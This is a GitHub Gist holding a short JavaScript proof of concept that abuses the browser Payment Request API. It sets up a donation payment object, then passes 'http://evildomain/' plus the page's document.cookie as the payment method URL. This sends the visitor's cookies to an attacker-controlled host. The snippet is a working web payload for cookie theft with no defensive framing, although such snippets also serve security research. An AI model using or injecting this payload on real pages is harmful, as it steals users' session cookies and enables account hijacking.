Last active
August 16, 2020 06:55
-
-
Save iflody/51e6f07d1d959b55140bf15e3d7dfaed to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var details = { | |
displayItems: [ | |
{ | |
label: "Original donation amount", | |
amount: { currency: "USD", value : "65.00" }, | |
}, | |
{ | |
label: "Friends and family discount", | |
amount: { currency: "USD", value : "-10.00" }, | |
pending: true | |
} | |
], | |
total: { | |
label: "Total", | |
amount: { currency: "USD", value : "55.00" }, | |
} | |
} | |
new PaymentRequest([{supportedMethods: "http://evildomain/" + escape(document.cookie)}], details) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment